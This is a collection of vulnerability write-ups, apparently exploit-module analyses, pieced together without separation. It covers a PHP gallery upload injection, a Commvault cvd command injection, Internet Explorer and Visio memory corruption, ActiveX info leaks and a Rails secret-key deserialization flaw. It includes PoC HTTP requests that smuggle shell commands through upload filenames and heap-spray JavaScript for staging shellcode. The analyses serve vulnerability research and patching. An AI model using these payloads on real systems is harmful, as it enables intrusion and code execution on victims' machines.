POST /gallery/upload/index HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------21456260222104 Content-Length: 970 -----------------------------21456260222104 Content-Disposition: form-data; name="title" 1 -----------------------------21456260222104 Content-Disposition: form-data; name="image_add" 1 -----------------------------21456260222104 Content-Disposition: form-data; name="description" 1 -----------------------------21456260222104 Content-Disposition: form-data; name="tags" -----------------------------21456260222104 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000000 -----------------------------21456260222104 Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS" 511ad0922b50f -----------------------------21456260222104 Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt" Content-Type: application/octet-stream 1 -----------------------------21456260222104 Content-Disposition: form-data; name="submit" Update -----------------------------21456260222104--
According to my testing, really authentication isn’t needed to reach the vulnerable code.
- Vulnerability: The vulnerable resides on modules/gallery/upload/index.php, in the uploadFile() function, where
$exec is called with partially user controlled data:
$command = "mv " . $_FILES['file']['tmp_name'] . " $zip"; //die; exec ($command, $output = array (), $res); $command = "chmod 777 " . $zip; exec ($command, $output = array (), $res); $command = "unzip -o -UU " . $zip; exec ($command, $output = array (), $res);
The $zip variable can be partially controlled:
$zip = "/tmp/" . $_FILES['file']['name'];
Since $_FILES[‘file’][‘name’] is used for injection “/” is a badchar, which makes exploitation (of something usefull) really difficult:
- Execution is with www-data privileges by default, not a lot of things to do.
- You are executing from modules/gallery/upload where by default, and in the recommended installation user hasn’t privileges for writting. So
the provided PoC by htbridge doesn’t work at all in a default installation:
Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"
You cannot write file.txt in modules/gallery/upload by default.
My PoC:
POST /gallery/upload/index HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://localhost/gallery/view/1 Content-Type: multipart/form-data; boundary=---------------------------1107861128371857341391966473 Content-Length: 360 -----------------------------1107861128371857341391966473 Content-Disposition: form-data; name="file"; filename="ls; <COMMAND>" Content-Type: text/plain msf.txt -----------------------------1107861128371857341391966473 Content-Disposition: form-data; name="submit" Upload File -----------------------------1107861128371857341391966473--
Technical Analysis
PoC
- PoC: http://aluigi.org/poc/ole32_1.zip
- Embed a Visio Viewer In a Web Page: http://msdn.microsoft.com/en-us/library/aa168474(v=office.11).aspx
Details
Crash Windows XP SP3 Visio Viewer 2010
(9b8.9bc): Unknown exception - code e0000002 (first chance) (9b8.9bc): C++ EH exception - code e06d7363 (first chance) (9b8.9bc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001c12b8 ebx=00000000 ecx=00400035 edx=00000000 esi=001e6498 edi=029c4240 eip=0e000000 esp=00136cf4 ebp=00136d24 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 0e000000 ?? ??? 0:000> !exchain TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\oca.ini, error 2 TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\winxp\triage.ini, error 2 TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\user.ini, error 2 00136db4: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\MICROS~2\Office14\VVIEWER.DLL - VVIEWER!GetAllocCounters+132fc0 (602ae0fd) 00136de0: VVIEWER!GetAllocCounters+1332f5 (602ae432) 00136e2c: VVIEWER!GetAllocCounters+1311ba (602ac2f7) 00136ecc: VVIEWER!GetAllocCounters+1309e1 (602abb1e) 00136f40: VVIEWER!GetAllocCounters+130f7c (602ac0b9) 001381f4: VVIEWER!GetAllocCounters+11cf02 (6029803f) 00138228: VVIEWER!GetAllocCounters+11baee (60296c2b) 0013eae0: USER32!_except_handler3+0 (7e44048f) CRT scope 0, func: USER32!UserCallWinProcCheckWow+155 (7e44ac6b) 0013eb40: USER32!_except_handler3+0 (7e44048f) 0013ee5c: BROWSEUI!_except_handler3+0 (76001b21) CRT scope 0, filter: BROWSEUI!BrowserProtectedThreadProc+56 (75fa5394) func: BROWSEUI!BrowserProtectedThreadProc+72 (75fa53b5) 0013ffe0: kernel32!_except_handler3+0 (7c839ac0) CRT scope 0, filter: kernel32!BaseProcessStart+29 (7c843882) func: kernel32!BaseProcessStart+3a (7c843898) !heap addressses come on!!!!
js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); heap_obj.debugHeap(true); for (var i=1; i < 0x1e0; i++) { heap_obj.alloc(block); } heap_obj.debugHeap(false); JS
heap spray to populate 200020
<script> var heap_obj = new heapLib.ie(0x20000); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x80000) nops += nops; var shellcode = nops.substring(0, 0x800); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x1000-6)/2); alert(1); heap_obj.gc(); heap_obj.debugHeap(true); for (var i=1; i < 0x1E; i++) { heap_obj.alloc(block); } heap_obj.debugHeap(false); alert(2); </script>
Reliable UNICODE Pointers to the heap could be on the mapping of:
xpsp2res.dll re5.1.2600.5512 start end module name 01a30000 01cf5000 xpsp2res (deferred) About Internet Explorer 6, before update 0:010> lmv m IEXPLORE start end module name 00400000 00419000 IEXPLORE (deferred) Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE Image name: IEXPLORE.EXE Timestamp: Sun Apr 13 20:34:13 2008 (48025225) CheckSum: 00017A61 ImageSize: 00019000 File version: 6.0.2900.5512 Product version: 6.0.2900.5512 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: iexplore OriginalFilename: IEXPLORE.EXE ProductVersion: 6.00.2900.5512 FileVersion: 6.00.2900.5512 (xpsp.080413-2105) FileDescription: Internet Explorer LegalCopyright: © Microsoft Corporation. All rights reserved.
After update
0:018> lmv m IEXPLORE start end module name 00400000 00419000 IEXPLORE (deferred) Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE Image name: IEXPLORE.EXE Timestamp: Sun Apr 13 20:34:13 2008 (48025225) CheckSum: 00017A61 ImageSize: 00019000 File version: 6.0.2900.5512 Product version: 6.0.2900.5512 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: iexplore OriginalFilename: IEXPLORE.EXE ProductVersion: 6.00.2900.5512 FileVersion: 6.00.2900.5512 (xpsp.080413-2105) FileDescription: Internet Explorer LegalCopyright: © Microsoft Corporation. All rights reserved.
After updates:
Internet Explorer 7
0:014> lmv m IEFRAME start end module name 009c0000 00f89000 IEFRAME (deferred) Image path: C:\WINDOWS\system32\IEFRAME.dll Image name: IEFRAME.dll Timestamp: Tue Aug 14 03:54:09 2007 (46C10B41) CheckSum: 005CA70C ImageSize: 005C9000 File version: 7.0.5730.13 Product version: 7.0.5730.13 File flags: 8 (Mask 3F) Private File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: IEFRAME.DLL OriginalFilename: IEFRAME.DLL ProductVersion: 7.00.5730.13 FileVersion: 7.00.5730.13 (longhorn(wmbla).070711-1130) FileDescription: Internet Explorer LegalCopyright: © Microsoft Corporation. All rights reserved.
Technical Analysis
Introduction
Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.
According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backuped
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.
One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service. It was a Metasploit submission by @rwincey as PR #9340.
Vulnerable Application
According to the public advisory, Commvault v11 SP5 or prior are vulnerable to this
vulnerability.
The specific vulnerable version I tested was 11.0.80.0, and the software was obtained from
the Metasploit contributor @rwincey. The software is available from our Google Drive at:
Vulnerable Apps –> Commvault –> Commvault_R80_SP5_22September16.exe.
The version of the vulnerable DLL is:
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll Image name: CVDataPipe.dll Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9) CheckSum: 002ED404 ImageSize: 002F0000 File version: 11.80.50.60437 Product version: 11.0.0.0 File flags: 1 (Mask 3F) Debug File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Commvault ProductName: Commvault InternalName: CVDataPipe OriginalFilename: CVDataPipe.dll ProductVersion: 11.0.0.0 FileVersion: 11.80.50.60437 PrivateBuild: SpecialBuild: FileDescription: LegalCopyright: Copyright (c) 2000-2016 LegalTrademarks: Comments:
Root Cause Analysis
Based on the information we have from the pull request, the vulnerability is a command injection, so
that’s where we begin reversing.
Usually, there are two ways to execute a command in a C/C++ application, one of them is WinExec()
,
and the other one is CreateProcess()
:
BOOL WINAPI CreateProcess( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation );
Since CreateProcess()
is meant to replace WinExec()
according to Microsoft, we can create a
break point there fist in our debugger (WinDBG), and we hit it:
0:044> g Breakpoint 3 hit kernel32!CreateProcessA: 00000000`76fe8730 4c8bdc mov r11,rsp
Looking at the callstack of this kernel32!CreateProcessA
, we already have a pretty good idea
locating the vulnerability:
0:044> k Child-SP RetAddr Call Site 00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA 00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af 00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e 00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9 00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd 00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51 00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63 00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376] 00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354] 00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd 00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
There are two things that are interesting. One of them is CVDataPipe!CVDMessageHandler
, and the
other one is CVDataPipe!execCmd
.
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
.text:000000018014710B mov [rsp+888h+var_600], rax
.text:0000000180147113 mov rdx, [rsp+888h+sock]
.text:000000018014711B mov rcx, [rsp+888h+var_600]
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as: * ifind (For restoring purposes) * BackupShadow.exe (For archiving) * Pub (Map file) * createIndex (A Commvault process for building index)
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
.text:0000000180159F1B lea rdx, aIfind ; “ifind”
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F2A call cs:strstr
.text:0000000180159F30 test rax, rax
.text:0000000180159F33 jnz short loc_180159F6D
.text:0000000180159F35 lea rdx, aBackupshadow_e ; “BackupShadow.exe”
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F44 call cs:strstr
.text:0000000180159F4A test rax, rax
.text:0000000180159F4D jnz short loc_180159F6D
.text:0000000180159F4F lea rdx, aPub ; “Pub”
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F5E call cs:strstr
…
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
.text:000000018015A0BA lea rdx, aCreateindex ; “createIndex”
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:000000018015A0C9 call cs:strstr
.text:000000018015A0CF test rax, rax
.text:000000018015A0D2 jz loc_18015A220
However, if you don't call one of these processes, the ```exeCmd``` will assume you want to run your custom process, and pass it to ```CreateProcess``` anyway:
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
.text:000000018015A361 call cs:GetEnvironmentStrings
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A377 mov rdi, rax
.text:000000018015A37A xor eax, eax
.text:000000018015A37C mov ecx, 68h
.text:000000018015A381 rep stosb
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A396 mov rdi, rax
.text:000000018015A399 xor eax, eax
.text:000000018015A39B mov ecx, 18h
.text:000000018015A3A0 rep stosb
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
.text:000000018015A3AD xor eax, eax
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
.text:000000018015A409 call cs:CreateProcessA
”`
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can access to it.
Technical Analysis
Info Leak Through ForceRemoteBehavior
The ForceRemoteBehavior getter, when using an “unitialized” issymbol
object allows to disclose address from issymbol. Issymbol isn’t aslr
compatible, but could rebase. Anyway, issymbol doesn’t contain pointers
to interesting API’s for ASLR bypass, so even when it would be easy
to use the issymbol.dll it won’t be usefull because of this.
<html> <body> <object classid='clsid:3c9dff6f-5cb0-422e-9978-d6405d10718f' id='test'></object> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script language='javascript'> alert(test.ForceRemoteBehavior); </script> </body> </html>
Info Leak through StartupColumnTranslate
Overflowing the vulnerable InternationalSeparator() method with 212 bytes
allows to reach the pointer to the StartupColumnTranslate property (string).
By overflowing this pointer should be possible to retrieve arbitrary data
from the memory map by using the StartupColumnTranslate getter:
.text:1000EF40 StartupColumnTranslate_sub_1000EF40 proc near ; DATA XREF: .rdata:101DCE98o .text:1000EF40 .text:1000EF40 var_10 = byte ptr -10h .text:1000EF40 var_C = dword ptr -0Ch .text:1000EF40 var_4 = dword ptr -4 .text:1000EF40 .text:1000EF40 push 0FFFFFFFFh .text:1000EF42 push offset sub_101B7579 .text:1000EF47 mov eax, large fs:0 .text:1000EF4D push eax .text:1000EF4E push ecx .text:1000EF4F push esi .text:1000EF50 mov eax, ___security_cookie .text:1000EF55 xor eax, esp .text:1000EF57 push eax .text:1000EF58 lea eax, [esp+18h+var_C] .text:1000EF5C mov large fs:0, eax .text:1000EF62 add ecx, 2540h ; ecx + 2540h => pointer to StartupColumnTranslate property .text:1000EF68 push ecx .text:1000EF69 lea ecx, [esp+1Ch+var_10] .text:1000EF6D call ds:??0?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@ABV01@@Z ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> const &) .text:1000EF73 lea ecx, [esp+18h+var_10] .text:1000EF77 mov [esp+18h+var_4], 0 .text:1000EF7F call ds:?AllocSysString@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEPA_WXZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::AllocSysString(void) .text:1000EF85 lea ecx, [esp+18h+var_10] ; void * .text:1000EF89 mov esi, eax .text:1000EF8B call ds:__imp_??1?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@XZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(void) .text:1000EF91 mov eax, esi .text:1000EF93 mov ecx, [esp+18h+var_C] .text:1000EF97 mov large fs:0, ecx .text:1000EF9E pop ecx .text:1000EF9F pop esi .text:1000EFA0 add esp, 10h .text:1000EFA3 retn .text:1000EFA3 StartupColumnTranslate_sub_1000EF40 endp
PROBLEM: It’s using the Microsoft Foundation Classes, and create fake
strings memory objects in memory isn’t so easy! We should dig in to that,
should be possible with more work!
Technical Analysis
Set innerHTML
[*] EBX after EnsureRecalcNotify is: 0x0998cff0
0998cff0 ???????? ???????? ???????? ????????
0998d000 ???????? ???????? ???????? ????????
0998d010 ???????? ???????? ???????? ????????
0998d020 ???????? ???????? ???????? ????????
0998d030 ???????? ???????? ???????? ????????
0998d040 ???????? ???????? ???????? ????????
0998d050 ???????? ???????? ???????? ????????
0998d060 ???????? ???????? ???????? ????????
Which is lated used in the crash (see ESI):
(d9c.694): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bcebd00 ebx=00000000 ecx=11cf98b5 edx=aa0082bb esi=0998cff0 edi=047fd70c
eip=6b8199cd esp=047fd6d0 ebp=047fd6e8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!QIClassID+0x38:
6b8199cd 8b06 mov eax,dword ptr [esi] ds:0023:0998cff0=????????
This is because in the vulnerable version, EnsureRecalcNotify returns the invalid reference, passes it to GetLineInfo, and later used in the crash:
.text:639F5549 loc_639F5549: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Ej
.text:639F5549 test eax, eax
.text:639F554B jz loc_6378185D
.text:639F5551 push 1
.text:639F5553 mov edi, eax
.text:639F5555 call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F555A lea ecx, [esp+18h+var_8] ; After the EnsureRecalcNotify call, EBX is invalid
.text:639F555E push ecx
.text:639F555F push ebx
.text:639F5560 call GetLineInfo ; To the crash
.text:639F5565 jmp loc_63908A6E
In the patched version, the return value of EnsureNotifyValue is checked before calling GetLineInfo:
.text:639F5213 loc_639F5213: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Fj
.text:639F5213 test eax, eax
.text:639F5215 jz loc_63780DDD
.text:639F521B push 1
.text:639F521D mov edi, eax
.text:639F521F call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F5224 mov edi, eax
.text:639F5226 test edi, edi
.text:639F5228 js loc_63907FAF ; to RETN
.text:639F522E mov edx, [ebp+arg_4]
.text:639F5231 lea ecx, [esp+18h+var_8]
.text:639F5235 push ecx
.text:639F5236 push edx
.text:639F5237 call GetLineInfo
.text:639F523C jmp loc_63907F1E
”`
Technical Analysis
Background
Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) archtecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soundcloud, Groupon, Twitch.tv, and of course, Rapid7s Metasploit.
Ruby on Rails versions including 5.2.2.1 and prior are vulnerable to a deserialization attack, because the Rails application by default uses its own name as the secret_key_base in development mode. This can be easily extracted by visiting an invalid resource for a route, which as a result allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution.
Please note that this is not the same as the “DoubleTap” vulnerability. The other one is a directory traversal attack that in theory could be chained to aid remote code execution.
In this documentation, I will go over:
- The setup I used to test the vulnerable environment.
- My analysis on the vulnerability.
- Some information about patching.
Vulnerable Setup
In order to set up a vulnerable box for testing, do the following on a Linux (Ubuntu) machine, assuming rvm is already installed:
$ rvm gemset create test $ rvm gemset use test $ gem install rails '5.2.1' $ rails new demo
Next, cd
to demo, and then modify the Gemfile like this:
$ echo "gem 'rails', '5.2.1'" >> Gemfile $ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile $ echo "source 'https://rubygems.org'" >> Gemfile $ bundle
Next, add a new controller:
rails generate controller metasploit
And add the index method for that controller (under app/controllers/metasploit_controller.rb):
class MetasploitController < ApplicationController def index render file: "#{Rails.root}/test.html" end end
In the root directory, add a new test.html.
echo Hello World > test.html
Also, add that new route in config/routes.rb:
Rails.application.routes.draw do resources :metasploit end
And finally, start the application:
rails s -b 0.0.0.0
By default, the application should be using its name as the secret key that is hashed in MD5.
Vulnerability Analysis
The best way to understand the vulnerabilty is by looking at Rails’ application.rb source code. Most importantly, the vulnerability comes from the secret_key_base
method in the Application class (see railties/lib/rails/application.rb):
def secret_key_base if Rails.env.test? || Rails.env.development? secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name) else validate_secret_key_base( ENV["SECRET_KEY_BASE"] || credentials.secret_key_base || secrets.secret_key_base ) end end
We see that in order to be vulnerable, we either need to be in test mode, or development mode. That way, the application will wither rely on a secret_key_base from somewhere (explained later), or it computes its own based on the application name.
Rails 5.2 (2017)
Before we move on with the analysis, it is interesting to point out that the vulnerable code we are looking at right now was actually meant to improve Rails security with encrypted credentials, which was introduced in Aug 3rd, 2017. Although meant for better security, it did not start off safe, but in fact, worse:
def secret_key_base if Rails.env.test? || Rails.env.development? Digest::MD5.hexdigest self.class.name # Code omitted below
You can see the pull request here.
Before this, Rails used to rely on config/secrets.yml, which wasnt protected by encryption like 5.2’s credentials.yml.enc file.
Where is the Secret?
According to the vulnerable code, we know that by default, Rails would try to load the secret_key_base somewhre, otherwise it relies on the application name. On a newly installed Rails app, it seems it just defaults back to the application name, but let us take a look at the first condition anyway:
secrets.secret_key_base
Here we know that the secret_key_base comes from secrets
. If we look around a little, we know that is actually a method:
def secrets @secrets ||= begin secrets = ActiveSupport::OrderedOptions.new files = config.paths["config/secrets"].existent files = files.reject { |path| path.end_with?(".enc") } unless config.read_encrypted_secrets secrets.merge! Rails::Secrets.parse(files, env: Rails.env) # Fallback to config.secret_key_base if secrets.secret_key_base isn't set secrets.secret_key_base ||= config.secret_key_base # Fallback to config.secret_token if secrets.secret_token isn't set secrets.secret_token ||= config.secret_token if secrets.secret_token.present? ActiveSupport::Deprecation.warn( "`secrets.secret_token` is deprecated in favor of `secret_key_base` and will be removed in Rails 6.0." ) end secrets end end
And very quickly, we see that the secret comes from config/secrets.*, encrypted or not. Well, by default, a Rails app does not actually have this file, so it makes perfect sense we always fall back to the application name (in MD5) as the secret_key_base by default.
Notice the above function basically means the secret is loaded from a file, and it is parsed. It does not actually tell us how that secret is parsed, so naturally this line has my curiosity:
secrets.merge! Rails::Secrets.parse(files, env: Rails.env)
And Rails::Secrets.parse
comes from the secrets.rb file:
def parse(paths, env:) paths.each_with_object(Hash.new) do |path, all_secrets| require "erb" secrets = YAML.load(ERB.new(preprocess(path)).result) || {} all_secrets.merge!(secrets["shared"].deep_symbolize_keys) if secrets["shared"] all_secrets.merge!(secrets[env].deep_symbolize_keys) if secrets[env] end
This tells a couple of things:
- The secrets file should be a ERB template, and it is serialized.
- Before it is loaded, the content is spit out by a method called
preprocess
If the secrets file is encrypted (ends with .enc
), then this decryption routine should run before it is deserialized:
def _decrypt(encrypted_message, purpose) cipher = new_cipher encrypted_data, iv, auth_tag = encrypted_message.strip.split("--".freeze).map { |v| ::Base64.strict_decode64(v) } # Currently the OpenSSL bindings do not raise an error if auth_tag is # truncated, which would allow an attacker to easily forge it. See # https://github.com/ruby/openssl/issues/63 raise InvalidMessage if aead_mode? && (auth_tag.nil? || auth_tag.bytes.length != 16) cipher.decrypt cipher.key = @secret cipher.iv = iv if aead_mode? cipher.auth_tag = auth_tag cipher.auth_data = "" end decrypted_data = cipher.update(encrypted_data) decrypted_data << cipher.final message = Messages::Metadata.verify(decrypted_data, purpose) @serializer.load(message) if message rescue OpenSSLCipherError, TypeError, ArgumentError raise InvalidMessage end
Basically, the code is expecting the input to be in this format, and is split by --
:
string1--string2--string3
The first string is the actual encrypted data. The second string is the IV. The third is the auth tag. Each substring is Base64 encoded, so after splitting the string, they need to be decoded. What happens next depends on the code using the decryption method, beause it needs to specity what cipher to use. In the case of secrets.yml.enc, we are expecting AES-128-GCM, because it is specified in secrets.rb:
@cipher = "aes-128-gcm"
After that, our decrypted string is deserialized, and loaded as the secret. Technically, if a user has access to secrets.yml, they could backdoor this too to gain remote code execution.
However, like I previously said, all this does not even happen by default, because there is no secrets.yml by default. Using the application name as the key is definitely a much bigger concern for Rails users.
Patching
Since vulnerable version relies on the application name to create the secret_key_base, it is easy to mitigate this. Originally, this was the vulnerable code:
def secret_key_base if Rails.env.test? || Rails.env.development? secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name) # Code omitted below
And that becomes the following the patched version:
def secret_key_base if Rails.env.development? || Rails.env.test? secrets.secret_key_base ||= generate_development_secret # Code omitted below
In method generate_development_secret
, the key is completely randomized using SecureRandom:
def generate_development_secret if secrets.secret_key_base.nil? key_file = Rails.root.join("tmp/development_secret.txt") if !File.exist?(key_file) random_key = SecureRandom.hex(64) File.binwrite(key_file, random_key) end secrets.secret_key_base = File.binread(key_file) end secrets.secret_key_base end
Looks like everything a-okay.
Technical Analysis
—
The crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:
.text:637C9454 inc dword ptr [eax+10h]
In order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:
.text:637C9454 inc dword ptr [eax+10h] ; Corruption! .text:637C9457 .text:637C9457 loc_637C9457: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j .text:637C9457 mov ecx, [edx+94h] ; we need to bypass this part, we control edx, so not a big deal .text:637C945D xor eax, eax .text:637C945F test ecx, ecx .text:637C9461 jz short loc_637C9466 .text:637C9463 mov eax, [ecx+0Ch] .text:637C9466 .text:637C9466 loc_637C9466: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j .text:637C9466 cmp dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray) .text:637C946D jz short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion
